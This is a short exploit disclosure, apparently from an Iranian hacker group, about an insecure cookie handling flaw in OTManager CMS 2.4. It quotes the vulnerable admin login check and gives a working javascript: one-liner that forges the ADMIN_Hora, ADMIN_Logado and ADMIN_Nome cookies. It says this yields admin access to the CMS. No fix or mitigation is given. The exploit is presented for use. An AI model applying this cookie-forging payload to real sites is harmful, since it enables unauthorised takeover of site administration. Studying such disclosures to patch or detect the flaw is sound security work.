OTManager CMS 2.4 Insecure Cookie Handling Vulnerability

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#OTManager CMS 2.4 Insecure Cookie Handling Vulnerability
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# ...:::::OTManager CMS v2.4 Insecure Cookie Handling Vulnerability ::::.... #
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Virangar Security Team

www.virangar.net
www.virangar.ir

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Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
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DESCRIPTION:
OTManager CMS, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
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vuln code in /Admin/index.php:

if ($_COOKIE['ADMIN_Hora'] != '' and $_COOKIE['ADMIN_Logado'] == 'SIM' and $_COOKIE['ADMIN_Nome'] != ''){
header('Location: ADM_Pagina.php'); // redirect to admin area

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exploit:
javascript:document.cookie = "ADMIN_Hora=1; path=/"; document.cookie = "ADMIN_Logado=SIM; path=/"; document.cookie = "ADMIN_Nome=1; path=/";
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now visit /Admin and you can get admin access and manage the cms ;)
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young iranian h4ck3rz